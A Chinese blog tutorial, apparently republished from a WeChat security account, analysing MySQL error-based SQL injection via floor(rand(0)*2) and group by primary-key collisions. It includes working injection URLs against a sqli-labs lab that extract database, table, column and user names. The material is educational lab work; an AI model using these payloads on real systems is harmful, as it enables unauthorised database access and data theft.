专栏首页E条咸鱼一条payload发生的事情(来自对报错注入的思考)

一条payload发生的事情(来自对报错注入的思考)

本文原创作者:RJ45

1、前言

最近在重新整理复现MYSQL注入天书,遇到了一条很有意思的报错注入的payload:

select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a;

记录一下,对这个payload的逆向理解。

2、环境

3、约束与安全

在mysql中,无论是主键还是外键都有约束的设置,其属性有两个:非空性和唯一性,也即我们常说的非空唯一。唯一性表现为 在插入一条数据时,如果数据中的主键与表中某条数据的主键相同,则插入不成功,同时mysql会返回错误的信息。在对错误信息的处理和返回过程中,mysql的底层代码实现将插入不成功的那条数据对应的主键返回到了错误信息里面,由此产生了一个安全性的问题----暴露出了表中已存在的那条数据的主键。

4、子查询控制主键位置

如何利用约束造成的错误带来的泄露问题?一个本质问题是:

我们能控制什么?我们能控制暴露出存在主键约束的表的已知数据的主键。(通过输入点,也就是构造与已知数据主键相同的数据插入,从而报错暴露出主键) 我们要获得什么?从控制点的形式来看(一个数据显示点),我们要获得的只能是数据库中的数据信息。

怎么样才能通过我们能控制的来获取我们要获得的?一个方法是子查询控制主键位置。子查询是指一个查询语句嵌套在另一个查询语句内部的查询。

在执行查询语句的时候,首先会执行子查询中的语句,然后将返回的结果作为外层查询的过滤条件。

我们期望,子查询语句为我们想要获取的信息的sql语句,外层sql语句存在含有主键唯一性的表,接着设置子查询语句于主键字段位置,构造主键唯一性冲突,将报错信息回显出来。

要做到这一步,需要解决两个问题:

1 在实际的攻击中,表的主键字段是未知的,获取主键字段将是一个难以解决的问题。2 如何设置子查询语句与主键字段之间产生唯一性冲突并且将数据泄露出来,也是一个需要解决的问题。

验证失败:

5、集合函数和group by建立虚表

解决第一个问题的思路在于:

既然实表中主键字段存在未知可能,那么建立一个可以控制主键的虚表如何。

mysql中的虚拟表分为临时表、内存表和视图。内存表和视图显然不适合此种情景。

而临时表的建立有两种方式,一是以实表命名为tmp等,然后在使用完后手动删除。另一种是以聚合函数和group+by的方式建立临时表。

在mysql的中文文档中有这么一句话:

由此,通过集合函数和group+by建立一个可以控制主键的虚表,成为可能:

可以看到,下面的sql语句在表 Rj45的数据条数的基础上,利用count()函数和group by建立了一张主键为 database()的虚表

由于 Rj45表,不具有普遍性,参考mysql的基本库,修改为基本库中的表

mysql.user、information_schema.schemata、information_schema.tables和information_schema.columns

6、随机因子构造主键唯一性冲突报错

第二个问题:如何设置子查询语句与主键字段之间产生唯一性冲突。

主键字段现在我们已经可以控制,需要构造唯一性冲突错误,那么就需要在虚表的建立过程中主键字段存在不一样的数值,并且在基于基本库中的表的数据条数不少于3条,如此在第三次查询建立虚表数据的过程中才会保证主键唯一性冲突的可能。

故,第一:在mysql.user、information_schema.schemata、information_schema.tables和information_schema.columns中,根据数据条目的多少和普遍程度,冲突的可能性越来越大。(难说有没有存在一个mysql中只有一个库、一个表的存在的情况,不过一个字段就绝对不会出现) 保险起见,最好以information_schema.columns为基础,建立虚表。

第二:如何使得虚表在建立的过程中,主键字段存在不一样的数值。

一个想法是利用mysql的随机函数rand(),该函数会在0和1之间随机产生数据

在随机函数的基础上添加rand()*2,然后结合floor()函数,该函数的作用是在数据中返回整数部分,就可以构造出随机的0和1两组数据

在验证过程中,发现虽然达到了预期的结果,可是报错存在不确定性(一会报错,一会正常),并且报错的主键数据值也不稳定(一会为0,一会为1)。

添加随机因子,保证唯一性冲突报错的稳定性

在虚表建立的过程中产生的主键唯一性冲突报错的理解:

select count(*),floor(rand(0)*2)x from information_schema.columns group by x;

这条payload在以informationschema.columns为基础建立虚表的过程中,由于informationschema.columns 表存在大量数据条目,故count(*)函数需要进行多次顺序的查询,然后以此作为虚表中的字段数据。虚表中主键字段为x即floor(rand(0)*2),其在多次查询过程中,会产生0或者1,并且依照固定的顺序产生。

由此,在虚表建立的过程中:当产生主键数据值为0的时候,count(*)为1, 当产生主键数据值为1的时候,count(*)为1, 当产生主键数据值为1的时候,虚表中已经存在为1的主键数据值,此时发生主键唯一性冲突,进而产生报错。

7、精准控制数据于主键位置泄露

虚表已经建立,主键已经冲突,那么如何将数据通过主键位置泄露出来?

要想通过主键位置泄露数据,那么必须将目标sql语句嵌套到主键floor(rand(0)*2)中,或者说由于查询的过程中目标sql执行的都是相同的结果,不同的只在于主键数据值的区别,直接将目标sql与主键通过concat()函数连接,一起成为新主键,也可以达到利用效果。

select count(*),concat(database(),0x3a,floor(rand(0)*2))x from information_schema.columns group by x;

sqli-labs实战环境验证:

获取当前数据库
http://192.168.3.21/Less-5/?id=1' union select null,count(*),concat((select database()),0x3a,floor(rand(0)*2))x from information_schema.columns group by x--+

获取当前数据库

获取所有数据库

http://192.168.3.21/Less-5/?id=1' union select null,count(*),concat((select schema_name from information_schema.schemata limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x--+

获取数据表

获取数据表

http://192.168.3.21/Less-5/?id=1' union select null,count(*),concat((select table_name from information_schema.tables  where table_schema=database() limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x--+

获取数据表

获取数据字段

http://192.168.3.21/Less-5/?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_schema=database() limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x--+

获取数据字段

获取数据
http://192.168.3.21/Less-5/?id=1' union select null,count(*),concat((select username from security.users limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x--+

获取数据

8、除了唯一性,非空性可以吗

非空环境:

非空性限制不存在利用空间

9、除了主键约束冲突带来的泄露,还有其他同性质的问题吗?

select count(*),concat((select database()),0x3a,floor(rand(0)*2)) x from information_schema.columns group by x;

该payload的本质其实是mysql在处理这类错误的时候,将主键键冲突的那个主键,报错抛出到错误信息中,从而使得我们可以通过floor(rand(0)*2)这个手段,结合information_schema.columns表,将目标信息通过主键位置泄露出来。

那么,是否存在其他同性质的问题即在错误信息中包含有信息泄露?

答案是有的!可以看到,当我尝试访问一个数据库中不存在的表的时候,其发生了报错,将当前库抛出到错误信息中,从而造成同样性质的问题的出现。

其利用与前面论证过的过程相同

10、除了这种在代码实现中动态嵌套错误回返回信息,还有其他可以控制的问题吗?

我觉得,应该值得研究。这个漏洞与pwn中的格式化字符串漏洞类似。https://www.mysqlzh.com/

参考

https://blog.csdn.net/u012364631/article/details/79408204 https://bugs.mysql.com/bug.php?id=82544 http://www.anquan.us/static/drops/tips-14312.html

本文分享自微信公众号 - E条咸鱼(gh_04d31a502ded),作者:RJ45

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-09-15

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • x86架构与x64架构在函数于栈中调用过程的不同之处

    1、x86架构 x86架构是intel开发的一种32位的指令集。8个32位通用寄存器 eax,ebx,ecx,edx,ebp,esp,esi,edi。

    Elapse
  • RBash - 受限的Bash绕过

    那么我们如果在实际环境中,如果想要对环境进行进一步的操作,那么rbash肯定是不符合要求的,所以才有了“绕过”这一行为

    Elapse
  • HTTP 头部信息注入小分析

    在开始正文之前,请允许我用我小学语文水平的语言组织能力来介绍一下何为HTTP头部信息 众所周知,在请求web服务器过程中,会发送一个HTTP包,为应用层的数据包...

    Elapse
  • 数据结构(ER数据库)设计规范 原

    表命名的规则分为3个层级,层级之间通过_分割,例如b_r_identity、d_l_identity。规约为:

    随风溜达的向日葵
  • MySQL 之主键

    小编在查询相关的学习资料的同时,偶尔会遇到关于主键的信息,也是一直没有很清晰的认知,所以,这篇学习笔记,主要是和大家一起分享有关主键的知识。

    DataScience
  • 浅谈数据库主键策略

    浅谈数据库主键策略 数据库表的主键很多童鞋都非常熟悉了,主键就是Primary Key,简称PK。 数据库主键的作用是唯一标识一条记录,所以在同一张表中,...

    用户1212940
  • mysql 中select for update 锁表的范围备注

      实例:指定了锁定id=1的行且数据存在①,在更新1时lock wait超时②,但是更新id不为1的项目时可以直接更新③,释放锁后④,可以任意更新⑤

    肖哥哥
  • DotNET企业架构应用实践-数据库表记录的唯一性设计的设计兼议主键设定原则

    简要介绍          在我们进行数据库设计的时候,大家都会考虑到数据表主键的设计,而可能没有人去关注记录唯一性字段设计,或者说,很多开发人员把这两种混合在...

    魏琼东
  • 应届生进入买方的最佳途径,了解一下?

    Asset Management,资产管理。顾名思义,就是管理客户资产,在控制风险的情况下使资产增值。投资的资产类型具体涉及固定收益、股票、金融衍生品、期货等。

    量化投资与机器学习微信公众号
  • 采购中的高级分析方法

    原文地址:https://dzone.com/articles/advanced-analytics-in-procurement

    大数据弄潮儿

扫码关注云+社区

领取腾讯云代金券